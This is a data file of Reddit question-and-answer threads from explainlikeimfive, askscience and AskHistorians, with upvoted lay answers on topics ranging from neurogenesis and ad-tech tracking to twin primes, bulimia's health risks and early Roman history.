{"q_id": "6yf40e", "title": "Is there a set or finite number of nerve cells in the human body?", "selftext": "In two adult humans of the same gender, are they likely to have the same total number of nerve cells irrespective of size? \nAnd linked to this, if we put on weight or grow in any way, does this affect the total number of nerve cells we have? \nThanks!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6yf40e/is_there_a_set_or_finite_number_of_nerve_cells_in/", "answers": {"a_id": ["dmpg68t"], "score": [2], "text": ["There is no set or finite number of nerve cells in the human body. Neurogenesis (new nerve cell growth) occurs in the adult brain. Peripheral nerve cells, on the other hand, are mostly static after early development unless there is an injury.\nGrowth and weight gain are not going to increase the number of neurons in the body. Most peripheral neurogenesis happens in early development. When your arm grows longer, the nerves in your arm get longer, but you do not get more nerve cells. In searching for papers relating to obesity and neurogenesis, I found many links to inflammation induced by obesity that impairs neurogenesis in the adult brain. You do not get more sensory neurons when you get more skin. Skin areas called dermatomes are innervated by specific spinal nerves. As the dermatome grows, no new neurons are added."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9n9rhj", "title": "Why Do People in Old Middle Eastern Paintings Look More East Asian?", "selftext": "I've always wondered why people in old Middle Eastern paintings look so East Asian.\n\n_URL_0_\n\n_URL_1_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9n9rhj/why_do_people_in_old_middle_eastern_paintings/", "answers": {"a_id": ["e7kmtig"], "score": [7], "text": ["Both of the pieces you link to are labelled \u201cstyle: Ilkhanid\u201d. The Ilkhanate was an offshoot of the Mongol Empire, so called because it continued to recognize the authority of the Great Khan\u2014Kubilai and his descendents in China.\n\nThe Ilkhanate was initially Buddhist, and re-introduced the depiction of human figures in paintings which had been curtailed under the Muslims. The earlier native Persian style of depicting people had all but died out by that point, so painters under the Mongols adapted the style current in Mongol China instead."]}, "title_urls": [], "selftext_urls": ["https://www.wikiart.org/en/ahmad-musa/archangel-gabriel-carries-the-prophet-muhammad-over-the-mountains", "https://www.wikiart.org/en/ahmad-musa/afrasyab-kills-navdar-1336"], "answers_urls": [[]]}
{"q_id": "4mx8vz", "title": "why is platinum and rhodium so much less expensive than gold right now even though they're both rarer than gold?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mx8vz/eli5_why_is_platinum_and_rhodium_so_much_less/", "answers": {"a_id": ["d3z2m4r", "d3z2t2d", "d3zec2u"], "score": [31, 4, 3], "text": ["Supply *and* demand.\n\nIf more people want more gold, it will be more expensive, even if it is more plentiful.  My toenail clippings are also rarer than gold, but no one is paying me anything for them.\n\nAlso, gold is integrated into the world economy in ways other precious metals are not.  Changes in gold prices might have more to do with interest rates and oil production and instability in Venezuela than how much of it is being pulled out of the ground.", "Gold is used in electronics and a lot of other things.  The other metals are used in products, but only a few.  Most people buying metals are not metals speculators, they actually want the metal to make something with it.", "As others said, there is more demand for Gold than Platinum and Rhodium which causes higher prices.\n\nI think one of the main factors for higher Gold demand is that many investors, pension funds, trust funds, etc. buy Gold as an asset to diversify their portfolio.\n\nAlso there is a lot more Gold jewelry than Platinum and Rhodium."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6cnvin", "title": "what does our (user) data actually look like when it is tracked, collected, analyzed and sold?", "selftext": "I guess this is a multi part question. \n\nFirst kind of things do Google, Facebook, Reddit track and collect?  Is it on a per IP address basis, name basis?\n\nNext, what does the data that look like when Facebook for example sells it to a third party? What kind of information is is available through Google Analytics?  Google doesn't sell its own data right, it just uses it to place ads for others right?\n\nAnd then third parties who do research and analysis of this data, where do they obtain this data from and how do they analyze it and what can this data look like when it gets sold to their clients?\n\nAnd how does one obtain such data freely and/or from these third parties?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6cnvin/eli5_what_does_our_user_data_actually_look_like/", "answers": {"a_id": ["dhw4u1d", "dhwdqfs", "dhwdtxh", "dhwfjyx", "dhx9o4w"], "score": [36, 4, 9, 7, 2], "text": ["Former ad tech guy here. Your data (cookie or otherwise) is stored and parsed into segments (male, twenties, white) which are used by ad campaign managers to appropriately target you based off of needs and wants for each ad campaign. Campaigns have a target sheet which tells each campaign manager (or computer, now) which segments to associate with that campaign. Your data is sold to numerous vendors, and in the case of ads, typically to an RTB backend who can do something with it.", "How does such data look:\n\nThere is an example from a database leak from GeekedIn in 2016, Troy Hunt has an [example on his blog](_URL_0_). This specific data is not from Facebook, but you will get the idea.\n\nYou can see it is an aggregation of information from different sources. The more reliable sources such a record contains, the more valuable it is, because it allows for more precise marketing.", "It doesn't look very dramatic. The actual data itself is really is mainly a series of numbers strung together. These are various IDs that identify you and the things you're interested in along with other information passed in on URL headers or by data collection code on the page.\n\nFor example, here's a really long string made to Adobe Analytics (yes, they do a lot more than Photoshop or Illustrator). You can see any of these calls with built in tools in your browser that track all the calls it makes as a page loads. This isn't secret sauce stuff.\n\nThis shows a call from Autotrader to Adobe Analytics. There's an ID in here that identifies the user, data in passed in as key-value pairs, other data associated with the page load and calls made from the page.\n\n_URL_3_ 15:27:47 1 240 & D=D= & mid=13372794621928303901338986866382534793 & aamlh=7 & ce=UTF-8 & pageName=atc_h & g=_URL_4_ Search: Google & v96=Natural Search: Google & v97=Natural Search: Google & v98=Natural Search: Google & s=1440x900 & c=24 & j=1.6 & v=N & k=Y & bw=1326 & bh=703 & AQE=1\n\nYou can monitor these calls from the browser itself. For example, right click on a Chrome page and select Inspect. Reload the page and watch all the network calls. Or, click on Application to see all the cookies that a page loads. You'll see the data is mostly strings of numbers.\n\nGoogle's Doubleclick code does this too. For example, here's an ID value captured from the _URL_2_ cookie: 22c3c72ab3250030\n\nFor most of us, this looks like gibberish. For advertisers, it's how they identify visitors and associate interests to that visitor.  There's nothing really that top secret about it.\n\nEdit: As a PS, to learn more about these services, just check their documentation.\n\n* [Doubleclick](_URL_0_)\n* [Adobe Marketing Cloud](_URL_1_)", "Ugh, none of the large tech companies directly sell user data.  On FB and Google you can indirectly use that data to purchase ads:\n\n\"I want my ad to be seen by males, aged 30-50, with high discretionary income, in the US\" -- Ad for a nice car", "Working in AdTech for 4 years for various big Digital Marketing clients.\n\nYou can't buy most data from the bigger companies like Google and Facebook. You can use the tracking mechanisms (Google Analytics Tracking, Facebook Pixel, Conversion tracking etc) to track visitors based on Sessions mostly stored in Cookies.\n\nIt's stored in FB/Google's backends and if you don't have your own DMP (Data Management Platform) with your own 1st party data, then you can't buy/sell that much. You just use their FB/Google tools to build targeted audiences to better target the appropriate ads in their Ad Networks.\n\nYou can use their tools or their API to query your questions against the data you collected using their Analytics solutions and you could integrate some custom data sending into your own backend (CRM, shop system etc).\n\nIt's actually stored in their databases and they limit the granulairty of what you can get out of their APIs throuh quotas and limitations. What you get out mostly, are simple lists of \"show me the average shopping cart amount in USD per marketing channel\", then you'll get a list that tells you:\n\n- AdWords Campaign 1, 66$\n- AdWords Campaign 2, 74$\n- Facebook Campaign 1, 120$\n\nMarketers then make assumptions based on the data they get out of analytics tools. \n\nFor companies as big as LinkedIn, Google, Facebook you can basically be sure, that they're not selling any data. Their business model is to create the best possible tracking solution to get the most accurate data and then use that to sell you (the advertiser) the possibility to target your Ads as good as possible. So if the advertisers get better targeting, they can do better advertising, which leads to more revenue per invested advertising budget. This, in theory optimizes the budgets, and the advertisers will spend more. It's a win win: advertiser is happy to spend more, but also gets more revenue, the users get better ads that are in theory useful to their intend and the networks get more money.\n\nBigger clients (companies) usually use a marketing cloud like Adobe Marketing Cloud, Oracle Marketing Cloud, IBM Marketing Cloud or Google Analytics 360, which costs around 130+k $ per year. It allows you to actually own the data in your own DMP which is called 1st party data.\n\nWith a DMP you can do cool things, like sell your 1st party data (non-identifiable data, so it's not your name, it's just your cookie) in the marketplace to others. You can also buy other 1st party data from that marketplace. It's used to improve audience building and improve the targeting. Better targeting - better ads - more revenue.\n\nFurthermore the analytics data is also used to optimize automated campaign optimization through automated bidding or machine learning supported bidding. Why bidding? Because in many networks you need to bid a price to show an ad to a user in real time, and the ad-network's algorithms will decide automatically which bid wins and finally which advertisers ad will be shown. The algorithms are mostly optimized to not show just the highest bid, but also the most fitting ad (best targeted ad). Those Real Time Bidding (RTB) platforms need data to show ads to their visitors as well.\n\nNow there's a maret for less famous and less ethical networks. They're happy to sell anything they collect: email addresses with more dimensions like: for what site you used it to register, what interests therefore you might have, your age etc. Email marketing from those shady networks and vendors selling data is basically what then leads to spam.\n\nBuying/selling names, physical addresses and other PII (personal identifiable information) is is shady business but still done on a large scale. But it's not the business model of the big networks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.troyhunt.com/8-million-github-profiles-were-leaked-from-geekedins-mongodb-heres-how-to-see-yours/"], ["https://www.doubleclickbygoogle.com/en-gb/", "http://www.adobe.com/marketing-cloud.html", "doubleclick.net", "http://autotrader.d2.sc.omtrdc.net/b/ss/autatcglobal/1/JS-2.0.0-D7QN/s08180495823164?AQB=1&amp;ndh=1&amp;pf=1&amp;t=22/4/2017", "http://www.autotrader.com/&amp;r=https://www.google.com/&amp;cc=USD&amp;events=event95,event96,event97,event98&amp;aamb=NRX38WO0n5BH8Th-nqAG_A&amp;h1=::&amp;c2=:homepage&amp;c3=:homepage&amp;c4=:homepage&amp;c5=:homepage&amp;c6=http://www.autotrader.com/&amp;c10=D=v1&amp;c11=atc_h&amp;c21=atc_h&amp;c23=chrome&amp;v35=desktop&amp;v36=atc_h&amp;v95=Natural"], [], []]}
{"q_id": "bq401s", "title": "why do carbon dioxide-consuming bacteria populations in the oceans not increase to counter the increase of co2 levels in the atmosphere?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bq401s/eli5_why_do_carbon_dioxideconsuming_bacteria/", "answers": {"a_id": ["eo13b52", "eo158zt", "eo2l466"], "score": [12, 22, 2], "text": ["They do, as does aglae, but not enough. \nIt has been suggested that we add fertilizer to the oceans to speed up the process, I think they even tested it, but there are no plans to roll this out as a serious attempt to cut CO2 levels.", "The most photosynthesis is done by blue green algae by far, they are our largest source of oxygen and the foundation of the food chain. Unfortunately, our impact on the environment goes farther than CO2 emissions, and we\u2019ve polluted the ocean so much that their [population has decreased by 50% since the middle of last century](_URL_0_).", "Their growth is not limited by the amount of CO2. They are limited by nutrients like nitrogen and phosphorus or trace metals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.google.com/amp/s/www.voanews.com/amp/169559.html"], []]}
{"q_id": "a6dvmh", "title": "Why is music around the world based on octaves? Do they share common roots like the Indo-European languages? Is there music in other parts of the world that's not based on eight notes and their harmonics?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a6dvmh/why_is_music_around_the_world_based_on_octaves_do/", "answers": {"a_id": ["ebum4m9"], "score": [47], "text": ["Octaves are a mathematical phenomenon.  A note an octave above another has exactly double the frequency.  It\u2019s cultural in the same way that math is cultural: different cultures may have discovered the concept at different times, but it is based in observable physics.  \n\nWestern music isn\u2019t based on eight notes, it\u2019s based on 12 notes derived from dividing the octave equally into 12 steps. (We call this equal temperament).  We often play a 7 note subset of those 12 notes ( the major scale and its modes), but 8 note scales are rare (the octatonic scale and some bebop scales are the only ones popularly used), and 8 equal divisions of the octave is such a rare idea that I doubt you\u2019ve ever actually heard it.  \n\nEdit: if you\u2019re curious, here\u2019s a link to a popular resource on alternative tuning systems in regards to 8EDO: _URL_1_\n\nEdit2: here\u2019s a composition from that link that I think illustrates exactly what is so weird about 8EDO: _URL_0_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ia600503.us.archive.org/19/items/Transcendissonance/10Malebolge-CityOfTheAsleep.mp3", "https://en.xen.wiki/w/8edo"]]}
{"q_id": "9rd2ai", "title": "what is twisted light and how does it transmit data faster than traditional fiber optics?", "selftext": "I read about this the other day:\n\n_URL_1_\n\nIn light of that, I embarked on a somewhat futile exercise of learning what twisted light is. I came upon this wikipedia article:\n\n_URL_0_\n\nNeedless to say, it got complicated fast and assumes some foundational knowledge of light and physics. \n\nSo, can someone please provide an ELI5 explanation of what twisted light is?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9rd2ai/eli5_what_is_twisted_light_and_how_does_it/", "answers": {"a_id": ["e8fzcfx", "e8g024w"], "score": [6, 41], "text": ["Basically, instead of light traveling in a straight line, it moves kinda like a corkscrew (orbital angular momentum meaning it spins for the most part). So instead of sending data in straight lines of light, we can spin the shit out of them and packs in lots together.\n\nImagine driving on the highway in rush hour, but cars keep constantly shift out of your lane in front of you so you can keep going forward - and actually you keep shifting as well so cars behind you can keep moving. Light is basically constantly shifting lanes to keep space behind it open for more light. ", "Light carries momentum. This is an interesting property, considering it has no mass - it's not the most intuitive to me. Anyway, you can see this manifest - I've seen videos of high speed footage where a powerful laser pulse was shot at a suspended water droplet. What happened? The light slams into the droplet, and the water molecules are physically hit - they move in the direction of the light beam. It's like you hit a rain drop with a baseball bat. This is called linear momentum.\n\nFunny property of momentum - if you have it, there are rules that apply to you. So if light has linear momentum, it has angular momentum. In other words, light can rotate like a bullet. If that were to hit our water droplet, you'd see the molecules scatter outward, not just along with the laser pulse. It's like if you swung a lawn mower in a rain storm - the spinning blades would scatter the water droplets outward.\n\nBut we're still talking about light - and it still moves at a constant speed (in a vacuum), and this speed doesn't change just because it's spinning. And according to the Wiki, when light is spinning, it even makes a vortex, so light is moving like a spinning donut.\n\nSo think of it this way - if you took some rope, and you laid it out going down the middle of the street, that length of rope wouldn't be nearly as long as if you zig-zagged it down the street - from curb to curb. What this rotation is doing is effectively packing more light in the same amount of space, and that means you have more light to encode information on, however they do that."]}, "title_urls": [], "selftext_urls": ["https://en.m.wikipedia.org/wiki/Orbital_angular_momentum", "https://reddit.com/r/technology/comments/9qxyle/twisted_fibre_optic_light_breakthrough_could_make/"], "answers_urls": [[], []]}
{"q_id": "4ax7gm", "title": "In medieval times, in society and artistic portrayals, was there an analogue to the \"bad boy\" archetype? If so, what traits were they characterized by?", "selftext": "If not, when did this sort of character start to appear? I know there wasn't a ton of fictional entertainment in medieval times, but I'm just curious as to how this archetype might appear in such an old setting, without sunglasses, cigarettes, motorcycles and hip rebellious youth.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ax7gm/in_medieval_times_in_society_and_artistic/", "answers": {"a_id": ["d14s4lk"], "score": [8], "text": ["In the French fabliaux Du Foeteur (\"The Fucker\") there's something similar to a \"bad boy\" in the sense you're talking about. \n\nA rich woman's husband leaves their house and goes to do business in the city. After her husband leaves, the woman and her maid see a handsome, well-dressed young man sitting on a bench across the street. The wife tells her maid to go ask the handsome young man who he is. The maid speaks with him and returns to her mistress, telling her that the man is a male prostitute and he will have sex with the lady for a set fee. \n\nThe wife invites the man in, they sleep together, and just as she's paying him, they hear footsteps--the husband is back early. The wife begins freaking out, but the young man tells her to calm down and draw a hot bath and for her to run out of the back door. She draws the bath and leaves.\n\nThe husband enters the house and sees the man in the bathtub and defensively asks who he is. The young man says that he is a prostitute who was going to have sex with the man's wife, However, if the husband pays him the agreed upon amount, then he will leave, thus leaving the wife's virtue in tact.\n\nThe young man takes the husband's money and the wife's money and leaves with double his fare. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3iew8y", "title": "with katrina's 10-year anniversary looming, why no focus outside of new orleans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3iew8y/eli5_with_katrinas_10year_anniversary_looming_why/", "answers": {"a_id": ["cuft7ae", "cuftm6t"], "score": [3, 3], "text": ["Because most of the death toll for Katrina was in Louisiana, with the bulk of that in New Orleans. While the storm had devastating impacts and loss of life along the gulf coast as well, what people remember is the television coverage of New Orleans.", "NPR has done several stories outside of New Orleans. Mainly pieces on small Mississippi coastal towns that are nearly deserted even now because residents couldn't afford to rebuild and nobody volunteered to help."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "77f6xo", "title": "How do we decide if a population is indigenous?", "selftext": "How long do they have to have lived in a place? Or do they have to be be first group that showed up?\n\nEdit: now I think I have even more questions. Or at least the term seems even more vague than I had thought previously. Based on these definitions you have to not advance technologically to be indigenous? Let\u2019s say we pick an area like Japan who of any group fits the definition?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/77f6xo/how_do_we_decide_if_a_population_is_indigenous/", "answers": {"a_id": ["dolzsvu", "dom7ln7", "doml87a"], "score": [12, 71, 15], "text": ["An indigenous population has had many generations across the same landmass. \n\nGenerally indigenous populations have less technological development and do not fare well against invaders/visitors, due to disease and mal-intent. \n\nIndigenous populations also are usually not aware of travelling to their location except through stories passed down through word of mouth. Papua New Guinea has a museum in Port Moresby showing a recreation of the arrival ships their ancestors used to arrive, as their travel ships are essentially just l very large outrigger canoes. \n\nKontiki, a movie about testing Polynesian myths of sailing directly from the east, using only historically accurate materials and construction. Thought impossible until accomplished again in our time, proving their word of mouth was true. \n\nAn indigenous population predates any other known populations in the location but has also been occupying the land and accumulated local knowledge of plants, herbs, food and water sources that allow them to survive and thrive at much lower technological levels. The isolation also causes distinct (although often very similar) belief systems, laws and stories. \n\n\n\n", "The UN generally defines indigenous peoples as \"The descendants - according to a common definition - of those who inhabited a country or a geographical region at the time when people of different cultures or ethnic origins arrived. The new arrivals later became dominant through conquest, occupation, settlement or other means.\"\n\nThe UN has a wider statement about their definition that you can read here. _URL_0_", "The trouble is you are asking a question that is answered by social science, not biological science (r/science). \n\nWe don't have a genetic test for \"indigenous\" ancestry, really... We have comparative records that can say you appear to be descendent of people died/were buried in this area at this time. \n\nAn indigenous group in the social science sense is defined by the UN, as another redditor commented. It refers to people who have undergone a sort of conquering, suffering exploitation at the hands of colonists. Nobody really is the \"first\" group of people to inhabit a land mass, people migrated a lot, and one area could host many groups over the course of geologic time. Indigenous as a label is a social construct, not a biological fact."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.un.org/esa/socdev/unpfii/documents/5session_factsheet1.pdf"], []]}
{"q_id": "1eqh98", "title": "this major mathmatical breakthrough...", "selftext": "The article can be found here: _URL_0_\n\nI don't quite understand what he found out, or why it is important. Thank you in advance. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1eqh98/eli5_this_major_mathmatical_breakthrough/", "answers": {"a_id": ["ca2ryb6"], "score": [7], "text": ["Prime numbers get more \"sparse\" as you go up in size. As the article points out, 40% of the single-digit numbers are prime, but only 4% of the 10-digit numbers are prime. This happens because larger numbers are more likely to have other smaller numbers that are factors; for example, even when we only go up to the 20-30 range, there are only two primes (23 and 29), because everything else is divisible by either 2, 3, or 5.\n\nSo, when mathematicians (and their computers) are trying to find extremely large prime numbers, it gets harder and harder, because there are fewer and fewer the higher you go up. Not only do you have more and more numbers to test (there are more numbers between 1 million and 2 million than there are between 100 and 200), but each number you test is less likely to be prime.\n\nHowever, mathematicians a long time ago noticed something interesting.  A lot of prime numbers seem to be \"twin primes\"; they are separated only by 2. For example, \"3 and 5\" or \"137 and 139\" are pairs of twin primes.\n\nWhat's neat about it is that twin primes seem to continue to arise even as we get up to absurdly huge numbers; we've found pairs with almost 30,000 digits. That's not a result you'd expect. Since we know that the percentage of numbers that are prime gets lower and lower as the numbers get larger, it's *incredibly* unlikely that you would find two so close together.\n\nSo, this leads us to the twin prime conjecture, which is a guess that mathematicians have made that there is an infinite number of these twin prime pairs. It's still not proven, but what Zhang did got us a lot closer. He proved that there's an infinite number of prime numbers separated by some number less than 70 million, while the twin prime conjecture is saying that there's an infinite number of prime numbers separated by 2.\n\nNow, you're probably thinking \"70 million isn't very close to 2,\" which is true, but when we're talking on the scales of numbers with millions of digits, 70 million really isn't that far from 2 anymore. It's a major step in the right direction.\n\nIs there any practical purpose to any of this? No, probably not, at least not anytime soon. Prime numbers are used by computers for cryptography (how they keep things secret), but they're otherwise not very useful. Mathematicians just figure this stuff out, and then scientists sometimes are able to make use of it."]}, "title_urls": [], "selftext_urls": ["http://www.wired.com/wiredscience/2013/05/twin-primes/"], "answers_urls": [[]]}
{"q_id": "6dzcyt", "title": "if a fan is turned on in a very dusty room with the window open, will all the dust eventually leave the room?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6dzcyt/eli5_if_a_fan_is_turned_on_in_a_very_dusty_room/", "answers": {"a_id": ["di6hxd9", "di6kc5d"], "score": [13, 2], "text": ["Assuming the air contains enough turbulence to stop the dust from settling then yes, I imagine all of the dust would *eventually* leave the room in an idealised situation.\n\nHowever in reality that's probably not going to be the case due to dust settling in air pockets.", "A fan's power is strongest near to it, but is not consistent all across a room.  So some dust is just moved around the room, rather than out a window.  Near the fan may have little or no dust, but further away will.  There will also be dust behind it.  The shape of the room mitigates against being able to clear it.  Dust pockets will form and dust will actually accumalate in those parts.  All the time, there is more dust entering the room.   The air outside has lots of dust too and the movement at the window is not exclusively being pushed out.  So for lots of reasons, fans can only do so much to clear rooms."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "21fkn3", "title": "for someone with no other health issues who is trying to lose weight, why is throwing up after they eat a bad thing?", "selftext": "Not a personal experience in case anyone was wondering but have just always been curious why people who are trying to shed a few pounds don't just vomit after a couple of their main meals.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21fkn3/eli5_for_someone_with_no_other_health_issues_who/", "answers": {"a_id": ["cgcja8s", "cgcjcx1", "cgckraj", "cgclicf", "cgcm40y", "cgcoyn5", "cgcrb3t", "cgcsjk1"], "score": [39, 15, 11, 4, 2, 4, 2, 4], "text": ["Stomach acids will damage your esophagus and teeth, as well as disrupting the normal digestive cycle and potentially leading to digestive problems.", "Stomach acid can damage the esophagus and is also damaging to teeth.  The biggest danger though lies in the habit of Bulimia.  Unlike diet and exercise Bulimia doesn't generally plateau at a healthy weight.  So you run the risk of continuing bulimia past a healthy weight.  Finally you lose nutrients when you vomit people with bulimia often have vitamin and mineral deficiencies that cause health issues.", "And then there's the nearly incurable constant addiction to the illness. It controls most of your life, dictating what you eat, who you eat around, how much you eat, how often you eat; almost everything. It's not like you can just stop... well, you can but you will probably stop eating too. And if you do decide to try to break the habit and start eating again like a normal, healthy person, you will feel some pretty sincere pain... That's when you'll realize that you have less of a choice than you thought. After being a bulimic for a while, you start to nearly forget what it's like to just \"be full.\" The feeling most people associate with a satisfying meal is enough to make you sick, actually. It becomes more and more involuntary as time goes on. Eventually every meal is painful and no matter how you spin it, it's gonna be difficult. Fuck the physical health issues, there are a lot of ways to destroy your body. Eating disorders will straight up ruin your mind. ", "Your body doesnt have the time to digest the food and absorb the nutrients from the food. Like you hadnt eaten anyway..", "I have a feeling we should put a trigger warning in this thread for people with eating disorders.", "The easiest answer to me is that\n\n1) It doesn't actually work. Ignore what you SEE in the trash can/toilet/etc., you have absorbed 50% or more of the calories already. You start processing food as soon as it's down your throat. \n\n2) It is hard to hide. Eventually, people will hear you in there or notice stains/the smell/etc. and get worried, and then you have to deal with some Intervention/counseling that will just make life that much more awkward for you.\n\nA better idea for weight loss is to track what you eat carefully, with a goal of 500-1000 calories less than what your body burns in a day (which is quite a bit). Throwing up snacks is one thing, but meals? If you eat less than 1200 calories a day your body will not function properly, and you will end up feeling terrible.", "Stomach isn't the only organ that regulates hunger. Your thalamus is monitoring blood-sugar levels. If they get low, you get hungry. Over time bulimics want to eat more and more, even if they end up vomiting it back up. Bulimics tend to have huge fluctuations in weight over time, because the hormones regulating hunger and satiety are going nuts. Even if it works for losing weight in the very short term it's an awful strategy for *controlling* weight, which is what dieters are really looking for.", "Many people are touching on the digestive effects of Bulimia, however the more dangerous effect is electrolyte imbalance:\n\nLosing that much acid from vomiting (or base if using laxitives) that quickly causes a shift in the body's delicate pH level. In an effort to maintain the proper range of pH, the body has to make electrolytes, such as potassium and calcium, less available to cells. These electrolyte imbalances can lead to seizures and heart arrhythmias. Heart arrythmias can very easily lead to other conditions such as cardiac arrest, pulmonary embolism, and stroke. Purging several times daily would significantly increase your risk for these conditions.\n\nSource: Registered Nurse."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "7nkvj1", "title": "What's the oldest Roman event for which we have historical evidence?", "selftext": "Early Roman history includes the list of kings starting from Romulus. I assume modern historians consider Romulus legendary rather than factual, but was the last king any more historically verified than the first, and if so, where \"down the list\" does legend turn into history? How much of the earlier history we attribute to classical Roman chonology (overthrow of the Kings, Rape of the Sabine Women, early Consuls, Plebeian seccession, etc) is actually based in historical fact, rather than an origin legend? And how much *details* do we know about said events? (for example, it's one thing to accept that at one point the Romans overthrew their monarchy, and another to accept the classical historical narrative of how and why it happened).\n\nFrom what I've been reading, I got the impression that the one of the earlier hard historical evidence of Roman activity was the Pyrrhic War, in which Rome established itself as a major power. But how much we actually know of Rome before then?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7nkvj1/whats_the_oldest_roman_event_for_which_we_have/", "answers": {"a_id": ["ds3hh1w"], "score": [6], "text": ["All and all most of Roman history before the founding of the Republic is generally considered more myth than literal truth. The founding and first few generations of Romans are shrouded in mystery and there is no real way to determine whether or not anything that happened in those years actually happened the way they are frequently told\n\nFor starters historians now believe that virtually all of the \u201ckings\u201d of Rome were completely legendary with little to no basis in historical fact. At best the now famous list of kings was a later invention that served as a convenient way to explain Roman institutions and practices whose origins later generations couldn\u2019t even explain. As it we see, even Romans from the late Republic and early Empire knew little more about their own past than we do now. \n\nAs for the oldest verified historical individual we can point to, Pyrrhus of Epirus (while actually a Greek) is a good option. There is a famous statue of the Greek general that was made 200 years after his death and was likely based on an originally made during his life time. If this is true than Pyrrhus is the oldest historic figure from ancient Rome of which we can \u201cput a face to\u201d. \n\nHowever, my money is on Lucius Cornelius Scipio Barbatus.  He died around 280 BC (about 473 years after the \u201cfounding\u201d of Rome in 753 BC) and was a Consul around 289 BC. His absurdly elaborate sarcophagus was discovered in the Tomb of the Scipios outside the original walls of Rome. His epitaph is infinitely fascinating in that it is the oldest use of the term \u201cconsul\u201d that we are aware of and is the \u201cearliest historical and biographical narrative to survive from ancient Rome\u201d. (Beard, 134).  \n\nIt reads as follows: \u201cCornelius Lucius Scipio Barbatus, offspring of his father Gnaeus, a strong man and wise, whose appearance was a match for his virtus. He was consul and censor and aedile among you. He took Taurasia and Cisauna from Samnium. He subdued the whole of Lucania and took hostages.\u201d\n\nSo there you have it, the oldest person that we can historically verify with some degree of certainty actually existed from ancient Rome. \n\nPrimary source: \"SPQR: A History of Ancient Rome\" by Mary Beard \n\nEdit: I messed up my dates for the Pyrrhic War! Barbatus died around the time of Pyrrhus invasion of Italy (280 BC) but seeing as Pyrrhus is Greek he still would not qualify as the oldest historically verified Roman. My apologies, I've had the flu so I guess no sleep and too much cold medicine will do that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2v9zzg", "title": "the gorillaz canon/mythology, 'phase 4', etc.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2v9zzg/eli5_the_gorillaz_canonmythology_phase_4_etc/", "answers": {"a_id": ["cofvsw4"], "score": [2], "text": ["if there is a sub dedicated to gorillaz and they talk about that stuff there I would suggest you ask there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4656f5", "title": "why are springs only circular?", "selftext": "Today in the shower I was thinking about randoms things when I started thinking about springs and realized that I had never in my life seen a triangular spring or a square spring!\nI was wondering there is a certain reason for this and how it would effect the springs behavior.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4656f5/eli5_why_are_springs_only_circular/", "answers": {"a_id": ["d02iaj2", "d02ifgw", "d02in9w", "d02islg", "d02je4p"], "score": [6, 2, 2, 3, 2], "text": ["Flat springs.  _URL_0_\n\nLeaf spring suspension.  _URL_1_\n\nOr are you asking why coil springs are round?  It's so there's an even distribution of force and a compact shape.  A square spring would experience more stress at the corners, unless I'm mistaken.\n", "Square spring: _URL_0_\n\nI imagine though that making round springs is simply the easiest to produce and gives the most reliability in force.", "Others have posted that there are other variations of springs, but there's another couple reasons why most are helical.\n\nThere's no corners that create added stress. Bend a wire sharply and then pull it, and the odds are better that it will break when pulled too much at the point where it bent because any outer-edge material has been pulled taut and so will rust or break or separate easier. \n\nBut probably most importantly, they distribute the stress evenly along the length of their constituent wire. Triangular and square sprints would pull on the corners more than the flats, imposing a stronger \"twisting\" force at those points; with circular-format springs, there are no corners to concentrate the stress, and so the spring has more lasting power.\n", "It's easy to wind wire in a coil to make a spring, like [this](_URL_0_), so that's why its common.  For behavior, springs all behave the same way as long as they're not flexed too much.  You could find a difference if you modeled it in detail but it wouldn't be something you'd factor into most designs.", "Thank you all for the great replies, I seem to know little about the world... Getting a bit more smarter everyday :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://discussions.mnhs.org/collections/wp-content/imagescaler/e8f8198ef20fa95ccb7e052f0281457a.jpg", "https://en.wikipedia.org/wiki/Leaf_spring"], ["http://www.tacrockford.com/product/gutekunst-square-springs/#image"], [], ["https://www.youtube.com/watch?v=Slj9OitPVb8"], []]}
